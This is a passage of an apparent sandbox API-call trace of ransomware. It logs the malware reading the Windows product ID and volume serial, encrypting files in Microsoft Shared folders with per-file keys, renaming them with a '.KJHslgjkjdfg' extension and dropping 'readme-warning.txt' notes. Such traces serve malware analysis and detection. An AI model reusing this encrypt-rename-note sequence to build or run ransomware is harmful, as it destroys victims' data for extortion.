| out: phKey=0x2f0c234*=0x2f18308) returned 1 [0190.745] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0190.745] CryptDestroyKey (hKey=0x2f18308) returned 1 [0190.745] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x12c) returned 0x0 [0190.745] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0190.745] RegCloseKey (hKey=0x12c) returned 0x0 [0190.745] GetProcessHeap () returned 0x2ef0000 [0190.745] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0190.745] GetProcessHeap () returned 0x2ef0000 [0190.745] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0190.745] GetProcessHeap () returned 0x2ef0000 [0190.745] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0190.745] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0190.745] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0190.745] CryptDestroyKey (hKey=0x2f18308) returned 1 [0190.745] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0190.745] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0190.746] GetProcessHeap () returned 0x2ef0000 [0190.746] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0190.746] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0190.746] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0190.746] GetProcessHeap () returned 0x2ef0000 [0190.746] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f11d10 [0190.746] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\readme-warning.txt") returned 75 [0190.746] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0190.746] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11d10*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f11d10*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0190.747] CloseHandle (hObject=0x12c) returned 1 [0190.748] GetProcessHeap () returned 0x2ef0000 [0190.748] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0190.748] GetProcessHeap () returned 0x2ef0000 [0190.748] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0190.748] GetProcessHeap () returned 0x2ef0000 [0190.748] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0190.748] GetProcessHeap () returned 0x2ef0000 [0190.748] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0190.748] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0190.748] GetProcessHeap () returned 0x2ef0000 [0190.748] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16e68 | out: hHeap=0x2ef0000) returned 1 [0190.748] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2d148, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0190.748] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c693e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x3f50, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vstoee100.tlb", cAlternateFileName="VSTOEE~1.TLB")) returned 1 [0190.748] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.749] GetProcessHeap () returned 0x2ef0000 [0190.749] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0190.749] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0190.749] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0190.749] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0190.749] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.749] GetProcessHeap () returned 0x2ef0000 [0190.750] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0190.750] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0190.750] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0190.750] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0190.758] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0190.759] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0190.759] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0190.759] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0190.759] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0190.759] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0190.759] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.759] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.759] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3f50, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3f50, lpOverlapped=0x0) returned 1 [0190.773] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3f50, dwBufLen=0x3f50 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3f50) returned 1 [0190.773] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.773] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3f50, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3f50, lpOverlapped=0x0) returned 1 [0190.774] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0190.774] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4024, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.774] SetEndOfFile (hFile=0x130) returned 1 [0190.776] GetProcessHeap () returned 0x2ef0000 [0190.776] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0190.776] GetProcessHeap () returned 0x2ef0000 [0190.776] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0190.776] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.kjhslgjkjdfg")) returned 1 [0190.777] CloseHandle (hObject=0x130) returned 1 [0190.778] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 1 [0190.778] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.871] GetProcessHeap () returned 0x2ef0000 [0190.871] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0190.871] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0190.871] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0190.871] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0190.871] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.871] GetProcessHeap () returned 0x2ef0000 [0190.871] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0190.871] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0190.871] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0190.872] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0190.873] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0190.873] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0190.873] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0190.874] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0190.874] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0190.874] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0190.874] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.874] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.874] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5550, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5550, lpOverlapped=0x0) returned 1 [0190.875] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5550, dwBufLen=0x5550 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5550) returned 1 [0190.875] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.875] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5550, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5550, lpOverlapped=0x0) returned 1 [0190.875] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0190.875] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.875] SetEndOfFile (hFile=0x130) returned 1 [0190.878] GetProcessHeap () returned 0x2ef0000 [0190.878] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0190.878] GetProcessHeap () returned 0x2ef0000 [0190.878] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0190.878] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.kjhslgjkjdfg")) returned 1 [0190.880] CloseHandle (hObject=0x130) returned 1 [0190.880] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 0 [0190.881] GetProcessHeap () returned 0x2ef0000 [0190.881] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0190.881] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0190.881] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dff0a8 | out: pbData=0x2f0c898, pdwDataLen=0x4dff0a8) returned 1 [0190.881] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0190.881] GetProcessHeap () returned 0x2ef0000 [0190.881] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0190.881] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0190.881] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dff0a8 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dff0a8) returned 1 [0190.881] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0190.881] GetProcessHeap () returned 0x2ef0000 [0190.881] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f14588 [0190.881] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0190.881] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14588, pdwDataLen=0x4dff0a8 | out: pbData=0x2f14588, pdwDataLen=0x4dff0a8) returned 1 [0190.881] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0190.881] GetProcessHeap () returned 0x2ef0000 [0190.881] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0190.881] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0190.881] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfec88 | out: pbData=0x2f0c928, pdwDataLen=0x4dfec88) returned 1 [0190.881] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0190.881] GetProcessHeap () returned 0x2ef0000 [0190.881] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0190.881] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0190.881] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfec88 | out: pbData=0x2f11728, pdwDataLen=0x4dfec88) returned 1 [0190.881] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0190.881] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfec84 | out: phkResult=0x4dfec84*=0x130) returned 0x0 [0190.882] RegQueryValueExA (in: hKey=0x130, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfec90, lpcbData=0x4dfec8c*=0x400 | out: lpType=0x0, lpData=0x4dfec90*=0x30, lpcbData=0x4dfec8c*=0x18) returned 0x0 [0190.882] RegCloseKey (hKey=0x130) returned 0x0 [0190.882] GetProcessHeap () returned 0x2ef0000 [0190.882] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0190.882] GetProcessHeap () returned 0x2ef0000 [0190.882] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0190.882] GetProcessHeap () returned 0x2ef0000 [0190.882] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0190.882] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0190.882] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea5c | out: pbData=0x2f11728, pdwDataLen=0x4dfea5c) returned 1 [0190.882] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0190.882] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0190.882] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0190.882] GetProcessHeap () returned 0x2ef0000 [0190.882] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0190.882] wsprintfA (in: param_1=0x4dfeca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0190.882] wsprintfA (in: param_1=0x4dff0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0190.882] GetProcessHeap () returned 0x2ef0000 [0190.883] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f11d10 [0190.883] wsprintfW (in: param_1=0x4dfe084, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\readme-warning.txt") returned 70 [0190.883] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.884] WriteFile (in: hFile=0x130, lpBuffer=0x2f11d10*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfe080, lpOverlapped=0x0 | out: lpBuffer=0x2f11d10*, lpNumberOfBytesWritten=0x4dfe080*=0x3b3, lpOverlapped=0x0) returned 1 [0190.884] CloseHandle (hObject=0x130) returned 1 [0190.885] GetProcessHeap () returned 0x2ef0000 [0190.885] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0190.885] GetProcessHeap () returned 0x2ef0000 [0190.885] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0190.885] GetProcessHeap () returned 0x2ef0000 [0190.885] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0190.885] GetProcessHeap () returned 0x2ef0000 [0190.885] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0190.885] FindClose (in: hFindFile=0x2f18288 | out: hFindFile=0x2f18288) returned 1 [0190.885] GetProcessHeap () returned 0x2ef0000 [0190.885] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10788 | out: hHeap=0x2ef0000) returned 1 [0190.885] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Web Folders", cAlternateFileName="WEBFOL~1")) returned 1 [0190.885] GetProcessHeap () returned 0x2ef0000 [0190.886] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x86) returned 0x2f45740 [0190.886] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*.*", lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, 